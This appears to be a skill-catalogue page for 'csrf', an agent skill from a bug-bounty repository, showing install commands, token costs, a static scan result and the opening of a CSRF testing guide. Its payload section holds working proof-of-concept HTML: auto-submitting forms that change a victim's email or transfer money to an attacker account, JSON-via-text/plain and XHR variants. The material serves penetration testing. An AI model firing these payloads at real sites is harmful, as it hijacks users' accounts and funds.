csrf

csrf is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 103 tokens per session (1,877 once invoked), scanned C, original, MIT.

A guide to testing Cross-Site Request Forgery (CSRF), an attack that makes a logged-in user’s browser send unwanted requests to a website. It focuses on missing or weak protections for actions such as changing settings or transferring money.

In plain words
What is it for?
Use it to review state-changing web requests, cookie settings, CSRF tokens, and origin checks.
Why use it?
It helps find cases where cookies authenticate harmful requests because the server does not check a secret token or the request’s origin.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit Use it to review state-changing web requests, cookie settings, CSRF tokens, and origin checks.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/shulkwisec/bb-huge/csrf
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add ShulkwiSEC/bb-huge --skill csrf
Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for csrf

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/csrf/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/csrf)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/csrf"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/csrf/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for csrf

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/csrf"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/csrf.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 103 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,877 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00103 $0.01877
Opus 5 $0.00051 $0.00938
Sonnet 5 $0.00021 $0.00375
Haiku 4.5 $0.00010 $0.00188

Measured 6d ago against content hash 69b78310091a, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade C, and why

csrf scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Hidden instructionshighPrompt injection

Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.

<!-- GET-based CSRF (auto-loads on page visit) -->
skills/curated/csrf/SKILL.md · 137 lines

How it starts

The opening of the file, as written. The whole thing — 137 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Cross-Site Request Forgery (CSRF)

What Is Broken and Why

CSRF exploits the browser's automatic inclusion of credentials (cookies, HTTP Basic auth) with every request to a given origin. An attacker-controlled page on a different origin can cause the victim's browser to send authenticated requests to the target application. Since the browser automatically attaches the session cookie, the server cannot distinguish the forged request from a legitimate one — unless it validates a secret token that only the legitimate page would know. Absent CSRF tokens, SameSite=Strict/Lax cookie attributes, or origin validation, any state-changing operation is potentially exploitable.

Key Signals

  • State-changing requests (account settings, password change, fund transfer, email change) without a CSRF token
  • CSRF token present but predictable, static, or not validated server-side
  • Cookie lacks SameSite=Strict or SameSite=Lax attribute
  • Content-Type: application/json endpoints that also accept text/plain (allows form-based CSRF)
  • API endpoints not verifying Origin or Referer headers
  • WebSocket handshakes without origin validation

Methodology

  1. Identify all state-changing requests (POST, PUT, PATCH, DELETE) in the application.
  2. Check for CSRF token in request parameters or headers (X-CSRF-Token, _token, csrf_token).
  3. If token is present: test whether it is validated (remove it, use an invalid value, reuse an old token, use another user's token).
  4. If no token: confirm the action is exploitable by crafting a PoC HTML page.
  5. Check SameSite attribute of session cookie; Lax provides partial protection (GET only, top-level nav).
  6. Test JSON endpoints: try submitting the same payload as text/plain or application/x-www-form-urlencoded.
  7. Test whether Referer header is validated and if it can be stripped or spoofed.
  8. Use Burp's "Generate CSRF PoC" feature (right-click on request in Proxy history).

Payloads & Tools

<!-- GET-based CSRF (auto-loads on page visit) -->
<img src="TARGET/action?param=value" style="display:none">
<link rel="stylesheet" href="TARGET/action?param=value">

<!-- POST-based CSRF (auto-submitting form) -->
<html>
<body onload="document.forms[0].submit()">
<form action="TARGET/change-email" method="POST">
  <input type="hidden" name="email" value="[email protected]">
</form>
</body>
</html>

<!-- POST-based with multiple fields -->
<form action="TARGET/transfer" method="POST" id="csrfForm">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="destination" value="ATTACKER-ACCOUNT">
  <input type="hidden" name="currency" value="USD">
</form>
<script>document.getElementById('csrfForm').submit();</script>

<!-- JSON CSRF via text/plain Content-Type -->
<form action="TARGET/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"[email protected]","x":"' value='"}'>
</form>
<!-- Results in body: {"email":"[email protected]","x":"="} -->

<!-- CSRF token bypass — test without token -->
POST /change-password HTTP/1.1
Host: TARGET
Cookie: session=TOKEN

new_password=attacker123

<!-- CSRF token bypass — use invalid token -->
POST /change-password HTTP/1.1
csrf_token=AAAAAAAAAAAAAAAA

<!-- CSRF via XHR (requires CORS misconfiguration) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'TARGET/change-email', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('[email protected]');
</script>

<!-- Burp Suite — Generate CSRF PoC -->
<!-- Right-click on request in Proxy -> Engagement tools -> Generate CSRF PoC -->

Read the full file on GitHub · 137 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 137 lines · 103 tokens per session scan C 69b78310091a

Subscribe to this mod's changes

csrf is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 103 tokens to every session and 1,877 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it C with 1 finding (hidden instructions). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

hunt-api-misconfig

Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {isadmin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this…

elementalsouls/Claude-BugHunter · 207 tokens

octopus-architecture

Review system architecture, simplify boundaries, or compare interface designs from repository evidence.

nyldn/claude-octopus · 19 tokens

agenticx-a2a-connector

Guide for using the A2A (Agent-to-Agent) communication protocol in AgenticX including agent discovery, skill invocation, remote agent cards, and distributed agent systems. Use when the user wants agents to communicate with each other, set up distributed agent systems, invoke remote agent skills, or build…

DemonDamon/AgenticX · 73 tokens

agenticx-tool-creator

Guide for creating custom tools in AgenticX including function decorator tools, MCP tool integration, tool registries, and remote tool access. Use when the user wants to create tools for agents, integrate external APIs as tools, build MCP servers, or extend agent capabilities with custom functions.

DemonDamon/AgenticX · 63 tokens

continuum-tools-mcp

Connect MCP servers (Stdio/SSE/StreamableHTTP) to a Continuum agent, configure tool filtering, set up tool-context capture/injection (e.g. sessionid), and read run artifacts (UI widgets, structured tool data). Invoke when the user asks "connect MCP", "filesystem tool", "remote API tool", "auto-capture sessionid"…

shyftlabs/continuum · 94 tokens

pwn-ai-openai

Drive PWN::AI::OpenAI from pwneval.

0dayInc/pwn · 19 tokens